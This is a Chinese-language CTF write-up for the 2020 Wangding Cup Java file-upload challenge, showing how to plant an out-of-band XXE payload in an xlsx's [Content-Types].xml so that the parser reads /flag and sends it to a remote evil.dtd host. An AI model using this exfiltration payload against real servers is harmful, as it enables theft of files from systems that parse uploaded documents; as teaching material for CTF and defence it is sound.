2020網鼎杯---Java文件上傳wp

前言

一篇文章讀懂Java代碼審計之XXE看過我這篇博客應該不難,沒看過建議在看看。


題解

下載了所有的class發現需要上傳xlsx poi
開頭必須是execl
在這裏插入圖片描述

  • 新建execl
    -1.xlsx文件,修改後綴名execl
    -1.xlsx.zip解壓。
    在這裏插入圖片描述

  • 修改[Content-Types].xml

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://ip:8089/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>

在這裏插入圖片描述

  • 重新打包成excel-1.xlsx,文件名一定不能錯。

  • 在服務器上新建一個evil.etd文件。
    在這裏插入圖片描述

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip:8089/%file;'>">

  • 然後直接上傳,查看服務器http記錄。

在這裏插入圖片描述

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章